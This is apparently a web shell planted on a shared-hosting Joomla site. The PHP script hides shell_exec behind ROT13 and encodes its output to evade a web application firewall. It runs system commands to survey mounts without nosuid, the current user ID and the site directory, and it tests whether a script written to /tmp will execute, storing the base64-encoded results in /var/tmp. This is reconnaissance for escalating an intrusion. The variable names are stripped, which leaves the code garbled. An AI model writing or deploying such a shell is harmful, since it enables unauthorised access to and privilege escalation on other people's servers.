<?php
header("Content-Type: text/plain");
=str_rot13("furyy_rkrp");

// Get full mounts, encode output to bypass WAF
 = ("cat /proc/self/mounts 2>&1");
// Also get mountinfo
 = @file_get_contents("/proc/self/mountinfo");

// Find writable mounts without nosuid
 = explode("\n", );
 = [];
foreach ( as ) {
    if (strpos(, 'nosuid') === false && trim() !== '') {
        [] = ;
    }
}

 = [
    'mounts_nosuid_false' => ,
    'mountinfo_b64' => base64_encode(),
    'id' => trim(("id 2>&1")),
    'cwd_mount' => trim(("stat -f --printf='%T %s\n' /var/www/vhosts/web41.webbox333.server-home.org/html/Joomla/joomla3/ 2>&1")),
    'tmp_exec_test' => trim(("echo '#!/bin/bash\necho EXEC_OK' > /tmp/tst.sh && chmod +x /tmp/tst.sh && /tmp/tst.sh 2>&1")),
];
file_put_contents("/var/tmp/mnt_result.txt", base64_encode(json_encode()));
echo "OK:".strlen();
?>